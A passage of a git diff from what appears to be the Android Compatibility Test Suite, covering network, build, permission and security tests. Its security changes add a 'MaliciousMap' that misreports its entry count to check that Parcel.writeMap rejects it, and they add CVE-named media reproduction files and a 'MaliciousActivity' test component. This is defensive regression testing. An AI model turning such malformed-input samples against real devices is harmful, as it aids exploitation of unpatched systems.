+ mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.DISCONNECTED);
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
+ mContext.registerReceiver(receiver, filter);
+
+ // Assert that we can establish a TCP connection on wifi.
+ Socket wifiBoundSocket = null;
+ if (wifiNetworkToCheck != null) {
+ try {
+ wifiBoundSocket = getBoundSocket(wifiNetworkToCheck, TEST_HOST, HTTP_PORT);
+ testHttpRequest(wifiBoundSocket);
+ } catch (IOException e) {
+ fail("HTTP request before wifi disconnected failed with: " + e);
+ }
+ }
+
+ boolean disconnected = false;
+ try {
+ SystemUtil.runShellCommand("svc wifi disable");
+ // Ensure we get both an onLost callback and a CONNECTIVITY_ACTION.
+ lostWifiNetwork = callback.waitForLost();
+ assertNotNull(lostWifiNetwork);
+ disconnected = receiver.waitForState();
+ } catch (InterruptedException ex) {
+ fail("disconnectFromWifi was interrupted");
+ } finally {
+ mCm.unregisterNetworkCallback(callback);
+ mContext.unregisterReceiver(receiver);
+ }
+
+ assertTrue("Wifi failed to reach DISCONNECTED state.", disconnected);
+
+ // Check that the socket is closed when wifi disconnects.
+ if (wifiBoundSocket != null) {
+ try {
+ testHttpRequest(wifiBoundSocket);
+ fail("HTTP request should not succeed after wifi disconnects");
+ } catch (IOException expected) {
+ assertEquals(Os.strerror(OsConstants.ECONNABORTED), expected.getMessage());
+ }
+ }
+ }
+
+ public Network getWifiNetwork() {
+ TestNetworkCallback callback = new TestNetworkCallback();
+ mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
+ Network network = null;
+ try {
+ network = callback.waitForAvailable();
+ } catch (InterruptedException e) {
+ fail("NetworkCallback wait was interrupted.");
+ } finally {
+ mCm.unregisterNetworkCallback(callback);
+ }
+ assertNotNull("Cannot find Network for wifi. Is wifi connected?", network);
+ return network;
+ }
+
+ public Network connectToCell() throws InterruptedException {
+ if (cellConnectAttempted()) {
+ throw new IllegalStateException("Already connected");
+ }
+ NetworkRequest cellRequest = new NetworkRequest.Builder()
+ .addTransportType(TRANSPORT_CELLULAR)
+ .addCapability(NET_CAPABILITY_INTERNET)
+ .build();
+ mCellNetworkCallback = new TestNetworkCallback();
+ mCm.requestNetwork(cellRequest, mCellNetworkCallback);
+ final Network cellNetwork = mCellNetworkCallback.waitForAvailable();
+ assertNotNull("Cell network not available. " +
+ "Please ensure the device has working mobile data.", cellNetwork);
+ return cellNetwork;
+ }
+
+ public void disconnectFromCell() {
+ if (!cellConnectAttempted()) {
+ throw new IllegalStateException("Cell connection not attempted");
+ }
+ mCm.unregisterNetworkCallback(mCellNetworkCallback);
+ mCellNetworkCallback = null;
+ }
+
+ public boolean cellConnectAttempted() {
+ return mCellNetworkCallback != null;
+ }
+
+ private NetworkRequest makeWifiNetworkRequest() {
+ return new NetworkRequest.Builder()
+ .addTransportType(NetworkCapabilities.TRANSPORT_WIFI)
+ .build();
+ }
+
+ private void testHttpRequest(Socket s) throws IOException {
+ OutputStream out = s.getOutputStream();
+ InputStream in = s.getInputStream();
+
+ final byte[] requestBytes = HTTP_REQUEST.getBytes("UTF-8");
+ byte[] responseBytes = new byte[4096];
+ out.write(requestBytes);
+ in.read(responseBytes);
+ assertTrue(new String(responseBytes, "UTF-8").startsWith("HTTP/1.0 204 No Content\r\n"));
+ }
+
+ private Socket getBoundSocket(Network network, String host, int port) throws IOException {
+ InetSocketAddress addr = new InetSocketAddress(host, port);
+ Socket s = network.getSocketFactory().createSocket();
+ try {
+ s.setSoTimeout(SOCKET_TIMEOUT_MS);
+ s.connect(addr, SOCKET_TIMEOUT_MS);
+ } catch (IOException e) {
+ s.close();
+ throw e;
+ }
+ return s;
+ }
+
+ /**
+ * Receiver that captures the last connectivity change's network type and state. Recognizes
+ * both {@code CONNECTIVITY_ACTION} and {@code NETWORK_CALLBACK_ACTION} intents.
+ */
+ public static class ConnectivityActionReceiver extends BroadcastReceiver {
+
+ private final CountDownLatch mReceiveLatch = new CountDownLatch(1);
+
+ private final int mNetworkType;
+ private final NetworkInfo.State mNetState;
+ private final ConnectivityManager mCm;
+
+ public ConnectivityActionReceiver(ConnectivityManager cm, int networkType,
+ NetworkInfo.State netState) {
+ this.mCm = cm;
+ mNetworkType = networkType;
+ mNetState = netState;
+ }
+
+ public void onReceive(Context context, Intent intent) {
+ String action = intent.getAction();
+ NetworkInfo networkInfo = null;
+
+ // When receiving ConnectivityManager.CONNECTIVITY_ACTION, the NetworkInfo parcelable
+ // is stored in EXTRA_NETWORK_INFO. With a NETWORK_CALLBACK_ACTION, the Network is
+ // sent in EXTRA_NETWORK and we need to ask the ConnectivityManager for the NetworkInfo.
+ if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) {
+ networkInfo = intent.getExtras()
+ .getParcelable(ConnectivityManager.EXTRA_NETWORK_INFO);
+ assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK_INFO",
+ networkInfo);
+ } else if (NETWORK_CALLBACK_ACTION.equals(action)) {
+ Network network = intent.getExtras()
+ .getParcelable(ConnectivityManager.EXTRA_NETWORK);
+ assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK", network);
+ networkInfo = this.mCm.getNetworkInfo(network);
+ if (networkInfo == null) {
+ // When disconnecting, it seems like we get an intent sent with an invalid
+ // Network; that is, by the time we call ConnectivityManager.getNetworkInfo(),
+ // it is invalid. Ignore these.
+ Log.i(TAG, "ConnectivityActionReceiver NETWORK_CALLBACK_ACTION ignoring "
+ + "invalid network");
+ return;
+ }
+ } else {
+ fail("ConnectivityActionReceiver received unxpected intent action: " + action);
+ }
+
+ assertNotNull("ConnectivityActionReceiver didn't find NetworkInfo", networkInfo);
+ int networkType = networkInfo.getType();
+ State networkState = networkInfo.getState();
+ Log.i(TAG, "Network type: " + networkType + " state: " + networkState);
+ if (networkType == mNetworkType && networkInfo.getState() == mNetState) {
+ mReceiveLatch.countDown();
+ }
+ }
+
+ public boolean waitForState() throws InterruptedException {
+ return mReceiveLatch.await(30, TimeUnit.SECONDS);
+ }
+ }
+
+ /**
+ * Callback used in testRegisterNetworkCallback that allows caller to block on
+ * {@code onAvailable}.
+ */
+ public static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+ private final CountDownLatch mAvailableLatch = new CountDownLatch(1);
+ private final CountDownLatch mLostLatch = new CountDownLatch(1);
+ private final CountDownLatch mUnavailableLatch = new CountDownLatch(1);
+
+ public Network currentNetwork;
+ public Network lastLostNetwork;
+
+ public Network waitForAvailable() throws InterruptedException {
+ return mAvailableLatch.await(30, TimeUnit.SECONDS) ? currentNetwork : null;
+ }
+
+ public Network waitForLost() throws InterruptedException {
+ return mLostLatch.await(30, TimeUnit.SECONDS) ? lastLostNetwork : null;
+ }
+
+ public boolean waitForUnavailable() throws InterruptedException {
+ return mUnavailableLatch.await(2, TimeUnit.SECONDS);
+ }
+
+
+ @Override
+ public void onAvailable(Network network) {
+ currentNetwork = network;
+ mAvailableLatch.countDown();
+ }
+
+ @Override
+ public void onLost(Network network) {
+ lastLostNetwork = network;
+ if (network.equals(currentNetwork)) {
+ currentNetwork = null;
+ }
+ mLostLatch.countDown();
+ }
+
+ @Override
+ public void onUnavailable() {
+ mUnavailableLatch.countDown();
+ }
+ }
+}
diff --git a/tests/tests/netpermission/OWNERS b/tests/tests/netpermission/OWNERS
new file mode 100644
index 0000000..370c20c
--- /dev/null
+++ b/tests/tests/netpermission/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 31808
+include ../net/OWNERS
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index 7d3b4c5..1799cec 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -31,6 +31,7 @@
TestMemory.cpp \
TestTrivialModel.cpp \
TestUnknownDimensions.cpp \
+ TestValidateModel.cpp \
TestValidateOperations.cpp \
TestValidation.cpp \
TestWrapper.cpp \
diff --git a/tests/tests/notificationlegacy/Android.bp b/tests/tests/notificationlegacy/Android.bp
new file mode 100644
index 0000000..206e73a
--- /dev/null
+++ b/tests/tests/notificationlegacy/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsLegacyNotificationTestCases",
+ defaults: ["cts_defaults"],
+ platform_apis: true,
+ static_libs: [
+ "androidx.test.rules",
+ "ctstestrunner-axt",
+ "androidx.test.rules",
+ "junit",
+ ],
+ libs: [
+ "android.test.runner.stubs",
+ "android.test.base.stubs",
+ ],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ min_sdk_version: "24",
+}
diff --git a/tests/tests/notificationlegacy/Android.mk b/tests/tests/notificationlegacy/Android.mk
deleted file mode 100644
index 8ed7af8..0000000
--- a/tests/tests/notificationlegacy/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLegacyNotificationTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- androidx.test.rules \
- junit
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MIN_SDK_VERSION := 24
-
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/EnvironmentTest.java b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
index 4922d4a..8b6a95f 100644
--- a/tests/tests/os/src/android/os/cts/EnvironmentTest.java
+++ b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
@@ -105,7 +105,12 @@
final long maxInodes = maxsize / 4096;
// Assuming the smallest storage would be 4GB, min # of free inodes
// in EXT4/F2FS must be larger than 128k for Android to work properly.
- final long minInodes = 128 * 1024;
+ long minInodes = 128 * 1024;
+ final long size4GB = 4294967296l;
+ //If the storage size is smaller than 4GB, let's consider 32k for 1GB.
+ if (maxsize < size4GB) {
+ minInodes = 32 * 1024;
+ }
if (stat.f_ffree >= minInodes && stat.f_ffree <= maxInodes
&& stat.f_favail <= stat.f_ffree) {
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 7645477..3715850 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -19,7 +19,11 @@
import java.io.FileDescriptor;
import java.io.Serializable;
import java.util.ArrayList;
+import java.util.Collection;
import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
import android.content.pm.Signature;
import android.os.BadParcelableException;
@@ -3250,4 +3254,58 @@
} catch (RuntimeException expected) {
}
}
+
+ public void testMaliciousMapWrite() {
+ class MaliciousMap<K, V> extends HashMap<K, V> {
+ public int fakeSize = 0;
+ public boolean armed = false;
+
+ class FakeEntrySet extends HashSet<Entry<K, V>> {
+ public FakeEntrySet(Collection<? extends Entry<K, V>> c) {
+ super(c);
+ }
+
+ @Override
+ public int size() {
+ if (armed) {
+ // Only return fake size on next call, to mitigate unexpected behavior.
+ armed = false;
+ return fakeSize;
+ } else {
+ return super.size();
+ }
+ }
+ }
+
+ @Override
+ public Set<Map.Entry<K, V>> entrySet() {
+ return new FakeEntrySet(super.entrySet());
+ }
+ }
+
+ Parcel parcel = Parcel.obtain();
+
+ // Fake having more Map entries than there really are
+ MaliciousMap map = new MaliciousMap<String, String>();
+ map.fakeSize = 1;
+ map.armed = true;
+ try {
+ parcel.writeMap(map);
+ fail("Should have thrown a BadParcelableException");
+ } catch (BadParcelableException bpe) {
+ // good
+ }
+
+ // Fake having fewer Map entries than there really are
+ map = new MaliciousMap<String, String>();
+ map.put("key", "value");
+ map.fakeSize = 0;
+ map.armed = true;
+ try {
+ parcel.writeMap(map);
+ fail("Should have thrown a BadParcelableException");
+ } catch (BadParcelableException bpe) {
+ // good
+ }
+ }
}
diff --git a/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java b/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
index 19bb59c..b5c2030 100644
--- a/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
+++ b/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
@@ -72,7 +72,7 @@
public void testPrctlDumpable() throws Exception {
boolean userBuild = "user".equals(Build.TYPE);
int prctl_dumpable = Os.prctl(PR_GET_DUMPABLE, 0, 0, 0, 0);
- int expected = userBuild ? 0 : 1;
+ int expected = userBuild ? 0 : 1;
assertEquals(expected, prctl_dumpable);
}
}
diff --git a/tests/tests/permission/sdk28/AndroidTest.xml b/tests/tests/permission/sdk28/AndroidTest.xml
index a4775d6..7d100d7 100644
--- a/tests/tests/permission/sdk28/AndroidTest.xml
+++ b/tests/tests/permission/sdk28/AndroidTest.xml
@@ -17,6 +17,8 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="not-shardable" value="true" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsPermissionTestCasesSdk28.apk" />
diff --git a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
index 4d44f55..99e6e4b 100644
--- a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
@@ -319,6 +319,33 @@
}
}
+ /**
+ * Verify that getNetworkType and getDataNetworkType requires Permission.
+ * <p>
+ * Requires Permission:
+ * {@link android.Manifest.permission#READ_PHONE_STATE}.
+ */
+ @Test
+ public void testGetNetworkType() {
+ if (!mHasTelephony) {
+ return;
+ }
+
+ try {
+ mTelephonyManager.getNetworkType();
+ fail("getNetworkType did not throw a SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ }
+
+ try {
+ mTelephonyManager.getDataNetworkType();
+ fail("getDataNetworkType did not throw a SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
private static Context getContext() {
return InstrumentationRegistry.getContext();
}
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
new file mode 100644
index 0000000..56b3ba4
--- /dev/null
+++ b/tests/tests/provider/Android.bp
@@ -0,0 +1,45 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsProviderTestCases",
+ defaults: ["cts_defaults"],
+ compile_multilib: "both",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ libs: [
+ "android.test.mock",
+ "android.test.base.stubs",
+ "android.test.runner.stubs",
+ "telephony-common",
+ ],
+ static_libs: [
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "ub-uiautomator",
+ "junit",
+ "androidx.legacy_legacy-support-v4",
+ ],
+ jni_libs: [
+ "libcts_jni",
+ "libnativehelper_compat_libc++",
+ ],
+ srcs: ["src/**/*.java"],
+ platform_apis: true,
+ min_sdk_version: "21",
+}
diff --git a/tests/tests/provider/Android.mk b/tests/tests/provider/Android.mk
deleted file mode 100644
index 1b5d08a..0000000
--- a/tests/tests/provider/Android.mk
+++ /dev/null
@@ -1,53 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions of libs
-LOCAL_MULTILIB := both
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES := android.test.mock android.test.base.stubs android.test.runner.stubs telephony-common
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util-axt \
- ctstestrunner-axt \
- ub-uiautomator \
- junit
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
- androidx.legacy_legacy-support-v4
-
-LOCAL_JNI_SHARED_LIBRARIES := libcts_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsProviderTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_MIN_SDK_VERSION := 21
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/rcs/src/android/telephony/ims/cts/RcsProviderPermissionsTest.java b/tests/tests/rcs/src/android/telephony/ims/cts/RcsProviderPermissionsTest.java
new file mode 100644
index 0000000..c1e0af0
--- /dev/null
+++ b/tests/tests/rcs/src/android/telephony/ims/cts/RcsProviderPermissionsTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.ims.cts;
+
+import static android.provider.Telephony.RcsColumns.IS_RCS_TABLE_SCHEMA_CODE_COMPLETE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentProviderClient;
+import android.content.Context;
+import android.provider.Telephony;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+public class RcsProviderPermissionsTest {
+ @BeforeClass
+ public static void ensureDefaultSmsApp() {
+ DefaultSmsAppHelper.ensureDefaultSmsApp();
+ }
+
+ @Before
+ public void setupTestEnvironment() {
+ // Used to skip tests for production builds without RCS tables, will be removed when
+ // IS_RCS_TABLE_SCHEMA_CODE_COMPLETE flag is removed.
+ Assume.assumeTrue(IS_RCS_TABLE_SCHEMA_CODE_COMPLETE);
+ }
+
+ @Test
+ public void testRcsProvider_shouldNotHaveAccess() {
+ Context context = InstrumentationRegistry.getTargetContext();
+
+ try (ContentProviderClient client =
+ context.getContentResolver().acquireContentProviderClient(
+ Telephony.RcsColumns.AUTHORITY)) {
+ assertThat(client).isNull();
+ } catch (SecurityException e) {
+ return;
+ }
+ Assert.fail();
+ }
+}
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
new file mode 100644
index 0000000..5a7def6
--- /dev/null
+++ b/tests/tests/security/Android.bp
@@ -0,0 +1,60 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsSecurityTestCases",
+ defaults: ["cts_defaults"],
+ // Include both the 32 and 64 bit versions
+ compile_multilib: "both",
+ static_libs: [
+ "androidx.test.rules",
+ "android-common",
+ "ctstestserver",
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ "guava",
+ "platform-test-annotations",
+ ],
+ libs: [
+ "android.test.runner.stubs",
+ "org.apache.http.legacy",
+ "android.test.base.stubs",
+ ],
+ jni_libs: [
+ "libctssecurity_jni",
+ "libcts_jni",
+ "libnativehelper_compat_libc++",
+ "libnativehelper",
+ "libcutils",
+ "libcrypto",
+ "libselinux",
+ "libc++",
+ "libpcre2",
+ "libpackagelistparser",
+ ],
+ srcs: [
+ "src/**/*.java",
+ "src/android/security/cts/activity/ISecureRandomService.aidl",
+ "aidl/android/security/cts/IIsolatedService.aidl",
+ ],
+ //sdk_version: "current",
+ platform_apis: true,
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "sts",
+ ],
+}
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
deleted file mode 100644
index f4ae8a7..0000000
--- a/tests/tests/security/Android.mk
+++ /dev/null
@@ -1,62 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- androidx.test.rules \
- android-common \
- ctstestserver \
- ctstestrunner-axt \
- compatibility-device-util-axt \
- guava \
- platform-test-annotations
-
-LOCAL_JAVA_LIBRARIES := \
- android.test.runner.stubs \
- org.apache.http.legacy \
- android.test.base.stubs \
-
-
-LOCAL_JNI_SHARED_LIBRARIES := libctssecurity_jni libcts_jni libnativehelper_compat_libc++ \
- libnativehelper \
- libcutils \
- libcrypto \
- libselinux \
- libc++ \
- libpcre2 \
- libpackagelistparser
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)\
- src/android/security/cts/activity/ISecureRandomService.aidl\
- aidl/android/security/cts/IIsolatedService.aidl
-
-LOCAL_PACKAGE_NAME := CtsSecurityTestCases
-
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index b2412f69..130e5a4 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -49,6 +49,10 @@
<category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
</intent-filter>
</activity>
+
+ <activity android:name="android.security.cts.ActivityManagerTest$NormalActivity" />
+ <activity android:name="android.security.cts.ActivityManagerTest$MaliciousActivity" />
+ <service android:name="android.security.cts.ActivityManagerTest$AppMonitoringService" />
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index 208b50c..0160b8b 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -25,7 +25,7 @@
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.security.cts" />
- <option name="runtime-hint" value="1h8m15s" />
+ <option name="runtime-hint" value="1h40m18s" />
<!-- test-timeout unit is ms, value = 15 min -->
<option name="test-timeout" value="900000" />
<option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/security/res/raw/bug_36592202.ogg b/tests/tests/security/res/raw/bug_36592202.ogg
old mode 100755
new mode 100644
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4
new file mode 100644
index 0000000..5544ffe
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_64710074.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_17773.mp4 b/tests/tests/security/res/raw/cve_2017_17773.mp4
new file mode 100644
index 0000000..09e32c9
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_17773.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_18074.wma b/tests/tests/security/res/raw/cve_2017_18074.wma
new file mode 100644
index 0000000..2634a4d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_18074.wma
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5874.mp4 b/tests/tests/security/res/raw/cve_2018_5874.mp4
new file mode 100644
index 0000000..f1656bf
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5874.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5875.mp4 b/tests/tests/security/res/raw/cve_2018_5875.mp4
new file mode 100644
index 0000000..c07d5d5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5875.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5876.mp4 b/tests/tests/security/res/raw/cve_2018_5876.mp4
new file mode 100644
index 0000000..7f656a4
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5876.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5882.flac b/tests/tests/security/res/raw/cve_2018_5882.flac
new file mode 100644
index 0000000..5089aea
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5882.flac
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5894.mp4 b/tests/tests/security/res/raw/cve_2018_5894.mp4
new file mode 100644
index 0000000..09720c6
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5894.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index ae75ec9..113d7ea 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,16 +15,48 @@
*/
package android.security.cts;
+import android.annotation.Nullable;
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
import android.os.IBinder;
+import android.os.Process;
import android.platform.test.annotations.SecurityTest;
+import android.util.Log;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+
import junit.framework.TestCase;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
@SecurityTest
public class ActivityManagerTest extends TestCase {
+ private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+ private static CountDownLatch sLatch;
+ private static volatile int sNormalActivityUserId;
+ private static volatile boolean sCannotReflect;
+ private static volatile boolean sIsAppForeground;
+
+ private static final String TAG = "ActivityManagerTest";
+
@Override
protected void setUp() throws Exception {
super.setUp();
+
+ sLatch = new CountDownLatch(2);
+ sNormalActivityUserId = -1;
+ sCannotReflect = false;
+ sIsAppForeground = false;
}
@SecurityTest(minPatchLevel = "2015-03")
@@ -43,4 +75,117 @@
// Patched devices should throw this exception
}
}
-}
\ No newline at end of file
+
+ public void testIsAppInForegroundNormal() throws Exception {
+ /* Verify that isAppForeground can be called by the caller on itself. */
+ launchActivity(NormalActivity.class);
